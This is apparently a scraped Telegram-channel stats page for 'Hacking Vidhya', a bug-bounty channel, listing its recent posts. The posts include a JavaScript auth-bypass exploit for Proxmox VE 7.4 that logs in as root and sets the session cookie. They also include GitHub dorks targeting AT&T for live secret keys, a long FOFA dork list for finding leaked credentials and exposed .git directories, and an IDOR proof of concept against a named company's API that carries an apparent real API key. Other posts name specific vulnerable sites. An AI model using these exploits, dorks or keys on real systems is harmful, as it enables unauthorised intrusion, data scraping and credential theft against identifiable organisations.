en
Feedback
Hacking Vidhya

Hacking Vidhya

Open in Telegram

We Talk about : Hacking , CTFs , Pentesting , Red & Blue Team etc. Not Allowed: Selling, Carding, Cracking Crypto.

Show more
India153 466Technologies & Applications48 565
383
Subscribers
+124 hours
+47 days
+2130 days

Data loading in progress...

Similar Channels
No data
Any problems? Please refresh the page or contact our support manager.
Tags Cloud
host38
bypass16
grep16
url14
burp12
hacker12
bounty11
attack9
exploit8
api7
cve-20257
javascript7
symlink7
testing7
command6
domain6
input6
nuclei6
osint6
script6
Incoming and Outgoing Mentions
---
---
---
---
---
---
Attracting Subscribers
September '26
September '26
+7
in 2 channels
August '26
+26
in 3 channels
Get PRO
July '26
+25
in 2 channels
Get PRO
June '26
+11
in 0 channels
Get PRO
May '26
+30
in 2 channels
Get PRO
April '26
+20
in 2 channels
Get PRO
March '26
+18
in 2 channels
Get PRO
February '26
+6
in 1 channels
Get PRO
January '26
+23
in 1 channels
Get PRO
December '25
+26
in 0 channels
Get PRO
November '25
+276
in 3 channels
Get PRO
October '250
in 3 channels
Get PRO
September '250
in 2 channels
Get PRO
August '25
+1
in 2 channels
Date
Subscriber Growth
Mentions
Channels
10 September0
09 September+1
08 September0
07 September+1
06 September+2
05 September0
04 September+1
03 September0
02 September0
01 September+2
Channel Posts
Hacking Vidhya

2
https://t.me/+mORANS61eHwwZGVl
23
3
private_bugbounty_programs.csv
22
4
org:att org:att AND "att.com" org:att AND "att.com" path:*.json org:att AND "att.com" path:*.yaml org:att "sk_live_" org:att "pk_live_" org:att AWS_ACCESS_SECRET_KEY org:att "sk-" "openai" org:att filename:/ .env org:att path:/ Dockerfile org:att path:**/settings.py org:"att" ("jwt_secret" OR "JWT_SECRET")
54
5
Proxmox VE * PVE 7.4 auth-bypass exploit // PVE 7.4 auth-bypass @NebuSec 2026 // First, make sure to try logging in as root w
Proxmox VE * PVE 7.4 auth-bypass exploit // PVE 7.4 auth-bypass @NebuSec 2026 // First, make sure to try logging in as root with this exact password: root@pam (async () => { const form = new URLSearchParams({ username: "root@pam", password: "root@pam", "tfa-challenge": "NEBUSEC-CHALLENGE", }); const loginResponse = await fetch("/api2/json/access/ticket", { method: "POST", credentials: "omit", headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" }, body: form, }); const loginBody = await loginResponse.json(); document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`; location.reload() })();
60
6
CORS Misconfiguration On FacebookLeads to Non-Sensitive Exposure https://about.fb.com/wp-json
73
7
https://t.me/Hacking_Vidhya?livestream=7b85b30e3ff8305e53
86
8
https://www.youtube.com/watch?v=nGggVgF4DdE
87
9
Site: tring.co.in Bug: IDOR( Insecure Direct Object Refrence) Severity: high Poc:  https://www.tring.co.in/order/track-booking?booking-id=Special_Pay_596522 Note: change the numeric value like 596523 to 596422 or any vale #bugBounty, #ASR827
90
10
Not only ChatGPT. 😭+1
Not only ChatGPT. 😭
108
11
https://youtu.be/kSXdtxwVl0c
196
12
You can run Uncensored GLM-5.3 running in your Codex for bug hunting and pentesting use.
You can run Uncensored GLM-5.3 running in your Codex for bug hunting and pentesting use.
96
13
💡Don't miss this Fofa Dorks Here are some advanced FOFA dorks I use to uncover assets & exposures that others miss 👇 # ORG-WIDE / CERT PIVOTS cert.subject="target.com" cert.subject="*.target.com" cert.subject="target.com" && protocol="https" && port="443" domain="target.com" cert.subject="target.com" header="target.com" # broad net # DEV/STAGE/QA SURFACING (common env keywords) domain="target.com" && (host="dev.*" host="stg.*" host="qa.*" host="test.*") # DIRECTORY LISTING / BACKUPS domain="target.com" && title="Index of /" && body="Parent Directory" domain="target.com" && (title="Index of /backup" title="Index of /backups" title="Index of /old") domain="target.com" && (title="Index of /.git" body=".git/HEAD") domain="target.com" && (title="Index of /.svn" body="/.svn/entries") # SECRETS/SPILLS IN TEXT/JS domain="target.com" && header="Content-Type: application/javascript" && body="apiKey" domain="target.com" && (body="AWS_ACCESS_KEY_ID" body="AKIA") domain="target.com" && body="APP_KEY=" # Laravel .env spill domain="target.com" && body="PRIVATE KEY-----" # PEM leaks domain="target.com" && body="eyJhbGciOi" # JWT in responses domain="target.com" && body="//# sourceMappingURL=" # JS source maps # AUTH/SSO/OAUTH PIVOTS domain="target.com" && (body="/oauth/authorize" body="OpenID Connect" body="/.well-known/openid-configuration") # CORS MISCONFIG (weak but good lead list) domain="target.com" && header="Access-Control-Allow-Origin: *" && header="Access-Control-Allow-Credentials: true" # GRAPHQL / SWAGGER / API EXPLORERS domain="target.com" && (title="GraphQL Playground" title="GraphiQL" body="graphql?query=") domain="target.com" && (title="Swagger UI" body="swagger-ui" body="openapi") # DEBUG / STACK TRACE FINGERPRINTS domain="target.com" && (title="Whitelabel Error Page" body="There was an unexpected error (type=)") domain="target.com" && body="Traceback (most recent call last)" domain="target.com" && (body="PHP Notice:" body="PHP Warning:" body="phpinfo()") # CLOUD/EDGE FINGERPRINTS (useful for SSRF/CDN bypass trails) domain="target.com" && header="X-Amzn-Trace-Id" domain="target.com" && header="X-Envoy-Upstream-Service-Time" domain="target.com" && header="Server: nginx" && header="Via: varnish" # ELASTIC / LOGGING / METRICS / CI domain="target.com" && (title="Kibana" || header="kbn-name") domain="target.com" && title="Grafana" && body="Sign in" domain="target.com" && title="Prometheus Time Series Collection and Processing Server" domain="target.com" && title="Jenkins" && body="Login" domain="target.com" && title="SonarQube"
109
14
IDOR in Zomato API – Any user with an API key can enumerate restaurant IDs and retrieve complete details, including address, phone numbers, coordinates, menu images, and reviews. Description The API endpoint: https://api.zomato.com/v1/restaurant.json/{restaurant_id}?apikey={api_key} is vulnerable to IDOR because the restaurant_id parameter is not properly protected. By modifying the ID, an attacker can retrieve details of any restaurant without authorization. Impact * Exposes sensitive data (addresses, phone numbers, GPS coordinates). * Allows for mass data scraping (IDs are sequential and predictable). * Could be abused for spam, phishing, or competitor data collection. * Poses privacy and compliance risks (GDPR, local laws). Steps to Reproduce 1. Obtain a valid API key (even a free tier key). 2. Send a request to the following API endpoint: GET https://api.zomato.com/v1/restaurant.json/356?apikey=c0888f94600cc0c9d5b36f6eea167236 3. Examine the response – it will contain the full details of the restaurant. 4. Change the ID to 1, 2, 1000, 99999: GET https://api.zomato.com/v1/restaurant.json/1?apikey=c0888f94600cc0c9d5b36f6eea167236 5. You can enumerate IDs from 1 to 100,000 (or more). Proof of Concept Request: curl -X GET "https://api.zomato.com/v1/restaurant.json/356?apikey=c0888f94600cc0c9d5b36f6eea167236" Response Snippet: `{ "id": 356, "name": "New Kadimi", "location": { "address": "Satyam Cineplex, District Centre, Janakpuri, New Delhi", "latitude": "28.6300830000", "longitude": "77.0799200000" }, "phone": "011 41587171, 011 41587272, +91 9212124936" } ` What an Attacker Can Do * Scrape details of all restaurants, including phone numbers, addresses, and menus. * Create fake competitor applications. * Spam or call restaurants. * Cause a privacy breach. Severity High – Data exposure and mass enumeration are possible. Fix Recommendation * Validate user permissions for the restaurant_id. * Stop exposing unnecessary sensitive fields. * Implement rate limiting. * Use randomized IDs or tokens.
109
15
🚨 HACKING VIDHYA PRIVATE COMMUNITY IS HERE! 🚨 Want to learn Web Application Pentesting properly with complete resources, guidance, private methodologies, and community support? 🔥 Join our exclusive Private Telegram Community and get access to: 🔐Complete Web Application Pentesting Resources 🔖 Structured Courses & Learning Roadmaps 🤖 AI-Powered Pentesting Techniques 💰 Guidance on how to start earning in your starting phase Mobile Application Pentesting & Security 🎯Advanced & Private Methodologies 💼 Cybersecurity Job & Career Guidance 🤝 Direct Community Support 👾 Some content will be available in recorded video format, while selected topics and practical discussions will be conducted through LIVE VC Sessions. 🔥 This isn't just another course — it's a private community designed to help you learn practical cybersecurity skills, grow your knowledge, and build your career. 💰Entry Price: ₹3,000 per person ⚠️ LIMITED SEATS — Once the seats are filled, registrations will be closed! 👇 DON'T WAIT UNTIL IT'S TOO LATE! ✉️ DM @sttexo RIGHT NOW to secure your seat. 🚀 SERIOUS LEARNERS ONLY! 🔥 Learn • Practice • Grow • Build Your Career 🔥 — Hacking Vidhya ::✍️
297
16
https://youtu.be/wukEpTBka3Q
https://youtu.be/wukEpTBka3Q
132
17
https://t.me/boost?c=2661703976
163
18
No text...
176
19
DIRECTORY TRANSERVAL LEADS TO LEAKAGE OF CONFIGURATION FILES Site: http://www.kaalk.com/etc/ State: Exploitable Severity: Critical
297
20
https://t.me/Hacking_Vidhya?livestream=9ea615cd6afce83908
177
View all posts